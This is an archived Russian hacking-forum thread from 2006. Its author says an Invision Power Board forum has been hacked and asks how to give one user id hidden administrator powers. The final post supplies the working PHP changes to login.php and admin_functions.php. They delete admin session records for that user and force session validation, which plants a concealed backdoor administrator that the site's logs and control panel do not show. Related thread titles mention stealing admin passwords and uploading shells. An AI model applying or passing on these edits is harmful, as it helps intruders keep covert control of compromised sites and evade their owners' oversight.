ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Добавляем админа в Инвижин.
  #1  
Старый 13.02.2006, 16:55
Аватар для Ben
Ben
Новичок
Регистрация: 09.12.2005
Сообщений: 9
Провел на форуме:
48459

Репутация: 1
По умолчанию Добавляем админа в Инвижин.

Форум: Invision Power Board версии 2++. Форум, сайт взломаны. Лично я не большой спец по инвижену, поэтому пришел к вам с тупым вопросом.

Допустим, есть юзер, у которого по ibf_members id=111.

Задача: подправить скрипты форума таким образом, чтобы юзер c id=111 имел полные админские полномочия, но при этом без просмотра скриптов этого никак нельзя было б увидеть. То есть, ни добавления в группы админов, ни записей в таблицы ibf_admin_sessions или ibf_admin_logs, ни отображения в Admin_CP.

Подскажите, пожалуйста, что править. Спасибо за внимание и ответы.
 
Ответить с цитированием

  #2  
Старый 13.02.2006, 17:34
Аватар для podkashey
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

Поищи в поиске. Там все четко было расписано. На сколько я помню - надо в двух местах if подправить.
 
Ответить с цитированием

  #3  
Старый 13.02.2006, 19:23
Аватар для Ben
Ben
Новичок
Регистрация: 09.12.2005
Сообщений: 9
Провел на форуме:
48459

Репутация: 1
По умолчанию

Если ты об этой теме:
http://forum.antichat.ru/threadnav11615-1-10.html

то там решается чуть другая задача. Мне нужно, чтобы в ibbadmin_sessions и в ibbadmin_logs ничего не записывалось.
 
Ответить с цитированием

  #4  
Старый 13.02.2006, 20:56
Аватар для Ben
Ben
Новичок
Регистрация: 09.12.2005
Сообщений: 9
Провел на форуме:
48459

Репутация: 1
По умолчанию

Разобрался. Если кому нужно, то после того, как вы наложили на юзера маску админа, править надо следующее:

1) В файле source/action_admin/login.php:
СТРОКУ
---
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
---
ЗАМЕНИТЬ НА
---
if ($mem['id'] == 111) {$this->ipsclass->DB->query("DELETE FROM ibf_admin_sessions WHERE 1");} else {

$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");

}

---
где 111 - id юзера.

2) В файле source/lib/admin_functions.php
СТРОКИ
---
$this->ipsclass->admin_session['_session_validated'] = 0;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---
ЗАМЕНИТЬ НА
---
$this->ipsclass->admin_session['_session_validated'] = 1;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---

После этого информация о вашем "черном кардинале" не будет сохраняться в таблицу ibf_admin_sessions, да и записи в ibf_admin_logs тоже будут вестись без идентификации.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
www.chat.love4u.ru - помогите получить прова админа! airwil Чаты 4 30.04.2006 15:35
Угнать пароли админа (xp) rolex_x Soft - Windows 2 21.11.2005 01:18
Если уже имеется доступ в админ панель форума PhpBB, как узнать реал пасс админа? silveran Форумы 3 06.05.2005 18:54
Есть хеш админа форума phpBB.Можно ли заменитьть куки, чтобы получить права админа? proff Форумы 14 06.05.2005 06:00
Можно ли залить шелл, зная пароль и ник админа на форуме? (phpbb 2.0.5) Evgeny Форумы 2 26.01.2005 07:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ